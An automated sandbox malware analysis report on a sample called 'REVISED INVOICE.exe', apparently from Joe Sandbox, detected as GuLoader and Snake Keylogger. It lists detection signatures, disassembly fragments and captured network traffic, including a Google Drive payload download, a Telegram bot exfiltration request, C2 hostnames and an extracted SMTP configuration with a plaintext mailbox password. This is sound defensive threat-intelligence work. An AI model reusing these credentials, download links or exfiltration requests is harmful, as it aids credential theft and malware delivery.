Windows Analysis Report
REVISED INVOICE.exe

Overview

General Information

Sample name: REVISED INVOICE.exe
Analysis ID: 1541088
MD5: 8274b1a41b53bf35e0b4330a20010d4c
SHA1: 0b263f01dd3e10389cd4fe6575d114ea301ee874
SHA256: d2320e5704e90bc713c59a0521bacf04ca5751c2481e1dd4e3a95494981d867c
Infos:

Detection

GuLoader, Snake Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Early bird code injection technique detected
Found malware configuration
Yara detected GuLoader
Yara detected Snake Keylogger
Yara detected Telegram RAT
AI detected suspicious sample
Initial sample is a PE file and has a suspicious name
Powershell drops PE file
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Found malware configuration
Source: 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "alex@jballosewage.com", "Password": "Jc.2o3o@", "Host": "smtp.ionos.fr", "Port": "587", "Version": "4.4"}
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org
Uses 32bit PE files
Source: REVISED INVOICE.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.22:49162 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: REVISED INVOICE.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: e:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000003.00000002.481790461.0000000004E36000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_00406362 FindFirstFileW,FindClose, 0_2_00406362
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_00405810 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405810
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_004027FB FindFirstFileW, 0_2_004027FB
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B9449h 5_2_214B9188
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B9A0Bh 5_2_214B95F8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B9A0Bh 5_2_214B993A
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214BFC19h 5_2_214BF939
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214BF2E9h 5_2_214BF009
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B67D4h 5_2_214B6823
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214BEE51h 5_2_214BEB70
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 5_2_214B72B2
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B9A0Bh 5_2_214B95E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 5_2_214B6C80
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 5_2_214B7491
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214BF781h 5_2_214BF4A1
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B7945h 5_2_214B7758
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B82CFh 5_2_214B7758
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 214B67D4h 5_2_214B6638
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21588A42h 5_2_21588748
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21582C69h 5_2_21582998
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158E052h 5_2_2158DD58
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21585A19h 5_2_21585748
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158F83Ah 5_2_2158F540
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21580C41h 5_2_21580970
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21587A41h 5_2_21587770
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158C86Ah 5_2_2158C570
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21583A31h 5_2_21583760
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158BA12h 5_2_2158B718
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215867E1h 5_2_21586510
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215827D1h 5_2_21582500
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158D1FAh 5_2_2158CF00
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21581A09h 5_2_21581738
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158A22Ah 5_2_21589F30
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21581EA1h 5_2_21581BD0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158D6C2h 5_2_2158D3C8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21583EA1h 5_2_21583BF8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158A6F2h 5_2_2158A3F8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21585EB1h 5_2_21585BE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158BEDAh 5_2_2158BBE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158B082h 5_2_2158AD88
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21584C51h 5_2_21584980
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158EEAAh 5_2_2158EBB0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21586C7Ah 5_2_215869A8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158989Ah 5_2_215895A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21584321h 5_2_21584050
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158B54Ah 5_2_2158B250
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21580311h 5_2_21580040
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21587111h 5_2_21586E40
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21586349h 5_2_21586078
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158F372h 5_2_2158F078
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21582339h 5_2_21582068
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21589D62h 5_2_21589A68
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215850E9h 5_2_21584E18
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21588F0Ah 5_2_21588C10
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215810D9h 5_2_21580E08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21587ED9h 5_2_21587C08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158FD02h 5_2_2158FA08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158CD32h 5_2_2158CA38
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21583101h 5_2_21582E30
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158E51Ah 5_2_2158E220
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215807A9h 5_2_215804D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215875A9h 5_2_215872D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215893D2h 5_2_215890D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21583599h 5_2_215832C8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158ABBAh 5_2_2158A8C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 215847B9h 5_2_215844E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158E9E2h 5_2_2158E6E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158DB8Ah 5_2_2158D890
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21585581h 5_2_215852B0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2158C3A2h 5_2_2158C0A8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21581571h 5_2_215812A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21588412h 5_2_215880A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2169165Ah 5_2_21691360
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21692E42h 5_2_21692B48
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21690802h 5_2_21690508
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21690CCAh 5_2_216909D0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21693C9Ah 5_2_216939A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 216924B2h 5_2_216921B8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21694162h 5_2_21693E68
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2169033Ah 5_2_21690040
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21691B22h 5_2_21691828
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2169330Ah 5_2_21693010
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21691FEAh 5_2_21691CF0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 216937D2h 5_2_216934D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 2169297Bh 5_2_21692680
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then jmp 21691192h 5_2_21690E98
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 5_2_21725F38
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 5_2_21725F28
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 5_2_21722E16
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 5_2_21722B00

Networking
barindex
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2010/24/2024%20/%208:39:12%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: checkip.dyndns.org
Source: C:\Windows\SysWOW64\msiexec.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49167 -> 132.226.8.169:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49164 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49174 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.22:49162 -> 142.250.186.142:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49166 -> 188.114.97.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1UdCocYDXIneNm0wsl0RKLwjEdjKNc8DS HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?id=1UdCocYDXIneNm0wsl0RKLwjEdjKNc8DS&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Connection: Keep-AliveCache-Control: no-cacheHost: drive.usercontent.google.com
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1UdCocYDXIneNm0wsl0RKLwjEdjKNc8DS HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?id=1UdCocYDXIneNm0wsl0RKLwjEdjKNc8DS&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Connection: Keep-AliveCache-Control: no-cacheHost: drive.usercontent.google.com
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.71 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2010/24/2024%20/%208:39:12%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: msiexec.exe, 00000005.00000002.625215938.0000000000365000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: drive.google.com
Source: global traffic DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 24 Oct 2024 10:03:25 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: msiexec.exe, 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: msiexec.exe, 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: msiexec.exe, 00000005.00000002.629157566.00000000222F4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: msiexec.exe, 00000005.00000002.629157566.0000000022285000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222DD000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022293000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022274000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222BC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000221D3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222CF000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022267000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: msiexec.exe, 00000005.00000002.629157566.0000000022285000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222DD000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022293000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222A0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022274000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222BC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.0000000022216000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000221D3000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.629157566.00000000222CF000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 